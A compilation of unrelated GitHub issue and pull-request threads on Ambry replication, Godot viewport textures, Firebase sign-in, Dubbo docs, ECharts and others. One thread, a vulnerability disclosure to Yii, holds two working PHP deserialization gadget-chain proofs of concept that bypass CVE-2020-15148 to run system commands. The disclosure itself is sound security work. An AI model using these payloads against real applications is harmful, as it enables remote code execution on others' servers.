CloudBlobStore::findKey() is called multiple times in ReplicaThread::processReplicaMetadataResponse inside the ReplicaThread::replicate() loop. Since CloudBlobStore::findKey() internally calls cosmos db, which is an expensive call, this change batches all the calls to findKey() at one place. This will minimize the calls to cosmos db, while keeping the number of findKey() calls in case of BlobStore same as before.

Codecov Report

Merging #1586 into master will increase coverage by 0.06%.
The diff coverage is 87.30%.

@@             Coverage Diff              @@
##             master    #1586      +/-   ##
============================================
+ Coverage     73.64%   73.70%   +0.06%
- Complexity     8382     8434      +52
============================================
  Files           588      587       -1
  Lines         45413    45655     +242
  Branches       5730     5778      +48
============================================
+ Hits          33445    33652     +207
- Misses        10277    10295      +18
- Partials       1691     1708      +17

Impacted Files
Coverage Δ
Complexity Δ

...m/github/ambry/replication/ReplicationManager.java
89.16% <83.33%> (-0.59%)
19.00 <1.00> (+2.00)
:arrow_down:

...va/com/github/ambry/replication/ReplicaThread.java
84.66% <83.83%> (-1.54%)
153.00 <70.00> (+37.00)
:arrow_down:

...in/java/com/github/ambry/cloud/CloudBlobStore.java
74.22% <87.50%> (-1.46%)
118.00 <4.00> (+2.00)
:arrow_down:

...om/github/ambry/replication/RemoteReplicaInfo.java
81.55% <90.90%> (+1.11%)
27.00 <4.00> (+4.00)

...om/github/ambry/replication/ReplicationEngine.java
82.75% <94.82%> (+3.88%)
49.00 <1.00> (+2.00)

...ava/com/github/ambry/config/ReplicationConfig.java
100.00% <100.00%> (ø)
1.00 <0.00> (ø)

...com/github/ambry/messageformat/BlobProperties.java
96.55% <100.00%> (+0.12%)
21.00 <1.00> (+1.00)

...va/com/github/ambry/replication/PartitionInfo.java
82.92% <100.00%> (+2.92%)
10.00 <2.00> (+2.00)

...m/github/ambry/replication/ReplicationMetrics.java
91.39% <100.00%> (-0.84%)
54.00 <0.00> (+1.00)
:arrow_down:

...rc/main/java/com/github/ambry/store/BlobStore.java
88.81% <100.00%> (+0.92%)
153.00 <2.00> (+4.00)

... and 18 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ce4d2bd...b15229e. Read the comment docs.


fix should not use java11 api since target is 1.8

intro by #37638

run buildall

dup with #37773


Routing Logic for Custom Domains

Description: In this issue, we'll implement the server-side routing logic needed to handle incoming requests to custom domains. This is where we define how requests to custom domains will be processed.

Tasks:

Design and implement routing logic for incoming requests to custom domains.
Ensure that requests to custom domains are correctly directed to the corresponding short URLs.
Handle edge cases and error scenarios gracefully.

Acceptance Criteria: Requests to custom domains should be correctly routed to the associated short URLs, and the system should handle various scenarios effectively.
Additional Information: Please review our Custom Domain Feature Implementation Guide for a deeper understanding of the routing logic.

Hey Dhananjay, can you assign this issue to me? I can try my best to implement the feature.

Thanks Dhananjay👍

Hey Dhananjay,
I have been figuring out the way to implement the Custom Domains.
I successfully integrated the Domain Verification but I got stuck at redirecting Custom Domain.
To redirect from the custom domain, we must provide the IP address of our hosting server.
If I'm correct, can you please provide me the IP address of our hosting server for testing?
Or is there any other way I can redirect the Custom domain to our server?


There are two bypasses for CVE-2020-15148

What steps will reproduce the problem?
Hello, There are two bypasses for cve202015148,which can cause remote code exec too
The first one is Codeception\Extension\RunProcess
poc as below:
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

The second one is Swift_KeyCache_DiskKeyCache, the poc is as below:
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

best wishes to all you guys
What is the expected result?
What do you get instead?
Additional info

Q
A

Yii version
2.0.38?

PHP version

Operating system

Thanks for reporting but both aren't part of Yii thus can't be fixed from our side. Please report to Codeception and Swiftmailer.


ViewportTexture remains bright pink in some projects after upgrade to 4.0.3-stable

Godot version
4.0.3-stable
System information
Windows 10
Issue description
In some projects ViewportTexture remains pink and doesn't render viewport content after upgrading from 4.0.2-stable to 4.0.3-stable. If a pair of files viewport.h/viewport.cpp are downgraded back to what they were in 4.0.2-stable, problem goes away.
This is how it looks in 4.0.3-stable:

And this is how it looks if viewport.h/viewport.cpp are downgraded back to what they were in 4.0.2-stable.

Steps to reproduce
Unfortunately, I cannot come up wit a simple demo project reproducing the problem. It exists in some projects and doesn't exist in others.
Minimal reproduction project
Cannot produce a simple project reproducing the problem. In simple projects it works fine.

Does it occur in 4.1 beta?

This seems to be an issue that has never been resolved.
It is related to the mechanism of resource_local_to_scene when the scene is initialized. Resource is set up before Node, setup_local_to_scene() is not called when setting the value of viewport_path, so you need to call setup_local_to_scene() when the scene is initialized.
https://github.com/godotengine/godot/blob/ae896bbd85d0c9f1883c81f138045c3753ccef01/scene/resources/packed_scene.cpp#L459-L463
The resources cached by resources_local_to_scene require resources on the resource chain to enable resource_local_to_scene.
Node->R1->R2->R3->ViewportTexture(resource_local_to_scene)

R1, R2, and R3 all have to enable resource_local_to_scene.

A duplicate of #68088.

Related to #74331.

@Rindbee I'll check and let you know.

@Rindbee Hello! Based on the source code it feels that error messages do not all the details of what's happening. I made two videos with breakpoints placed in all methods of ViewportTexture. Please see the videos attached.
This one is a success when viewport.h/cpp are downgraded to what it was in 4.0.2:
https://github.com/godotengine/godot/assets/1449921/86eb2145-9d75-4bba-8b06-591505e84216
And this one is a failure as it happens in some projects in 4.0.3:
https://github.com/godotengine/godot/assets/1449921/e22f91ce-8d00-4b26-a3e0-39168c32e332

OK, it's helpful. It is failing early in ViewportTexture::_setup_local_to_scene() (due to the target viewport not being in the tree yet), causing vp_pending to fail to reset its state. This makes the setup not yet complete and subsequent calls to ViewportTexture::_setup_local_to_scene() impossible.


Relax some version dependencies.

These dependencies are old enough to build with ghcjs-<IP_ADDRESS>.  This should not affect building with newer versions.

Thanks for catching this, @ddssff!
LGTM


Question

I am trying to build storage project. I have registered my project in firebase console, and downloaded google-services.json. After installing app on my Nexus5 phone, when i click on "SIGN IN" button, I get this error -
Storage#MainActivity: signInAnonymously:FAILURE
com.google.firebase.FirebaseException: An internal error has occured. [ OPERATION_NOT_ALLOWED ]
at com.google.android.gms.internal.zzafg.zzes(Unknown Source)
at com.google.android.gms.internal.zzafd$zzg.zza(Unknown Source)
at com.google.android.gms.internal.zzafo.zzet(Unknown Source)
at com.google.android.gms.internal.zzafo$zza.onFailure(Unknown Source)
at com.google.android.gms.internal.zzafj$zza.onTransact(Unknown Source)
at android.os.Binder.execTransact(Binder.java:453)
Please explain, how can i test this project on my phone. Do I have to build all projects, register all projects on firebase console, and download google-services.json for every project in order to work this project.

Operation not allowed likely means you have not enabled Anonymous
Authentication in the Firebase Console.  Go to the console where you
registered the quick start project, go to the Auth tab, then go to Sign In
Methods and enable Anonymous.  That should fix it if you set everything
else up correctly.
On Sat, Jul 30, 2016, 8:08 AM Virat Shukla<EMAIL_ADDRESS>wrote:

I am trying to build storage project. I have registered my project in
firebase console, and downloaded google-services.json. After installing app
on my Nexus5 phone, when i click on "SIGN IN" button, I get this error -
Storage#MainActivity: signInAnonymously:FAILURE
com.google.firebase.FirebaseException: An internal error has occured. [
OPERATION_NOT_ALLOWED ]
at com.google.android.gms.internal.zzafg.zzes(Unknown Source)
at com.google.android.gms.internal.zzafd$zzg.zza(Unknown Source)
at com.google.android.gms.internal.zzafo.zzet(Unknown Source)
at com.google.android.gms.internal.zzafo$zza.onFailure(Unknown Source)
at com.google.android.gms.internal.zzafj$zza.onTransact(Unknown Source)
at android.os.Binder.execTransact(Binder.java:453)
Please explain, how can i test this project on my phone. Do I have to
build all projects, register all projects on firebase console, and download
google-services.json for every project in order to work this project.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/firebase/quickstart-android/issues/97, or mute the
thread
https://github.com/notifications/unsubscribe-auth/AIEw6kEMWJyokq3Qo7gVXt-mUfMnxSgpks5qaz7FgaJpZM4JYyx2
.

Might be U have not uploaded SHA1 certificate credential at Firebase console


Allow for Camera control

Allow setting of a CameraZoomRange, CameraBoundary and MKCamera.

Will be implemented by #9


The telnet invoke command lacks detailed guidelines

When the telnet invoke method contains a custom object, you need to specify the class as the key. The key contains the object's completion object name, such as org.apache.dubbo.Persion.

telnet: http://dubbo.apache.org/en-us/docs/user/references/telnet.html

@zonghaishang A pull request looks related to your issue #200 , would you take some time to review it?

@zonghaishang hello, I'm a newcomer and would love to contribute.

You can add guidelines in https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/reference-manual/qos/.

Hello Sir,
I would require some assistance as the page is not in English. I’m
extremely sorry for bothering you with this but I dont have a lot of
experience in open source but I will work really hard to learn.
On Tue, 7 Feb 2023 at 1:45 PM, Albumen Kevin @.***>
wrote:

@zonghaishang https://github.com/zonghaishang hello, I'm a newcomer and
would love to contribute.
You can add guidelines in
https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/reference-manual/qos/.
—
Reply to this email directly, view it on GitHub
https://github.com/apache/dubbo-website/issues/135#issuecomment-1420364557,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AYLU4NMRPQBBSO5QNJPIFELWWIAARANCNFSM4FTQ7A7Q
.
You are receiving this because you commented.Message ID:
@.***>

@proy03 English version is here: https://dubbo.apache.org/en/docs3-v2/java-sdk/reference-manual/qos/


目标issues已close，但是源代码没有fix该问题

Version
4.2.1-rc.3
Steps to reproduce
参考：https://github.com/apache/incubator-echarts/issues/10896
https://github.com/apache/incubator-echarts/issues/10304
What is expected?
https://github.com/apache/incubator-echarts/issues/10896
https://github.com/apache/incubator-echarts/issues/10304
What is actually happening?
问题已存在

#10896 中提供的复现代码在gallery和使用4.2.1本地调试均未复现！

This problem has been fixed in https://github.com/apache/incubator-echarts/commit/58d2dcee6fa206a0d547974b49ca3c43ef3d17f7 . It's not released yet. Sorry that we've been quite delayed in releasing time. We are releasing a candidate release this week.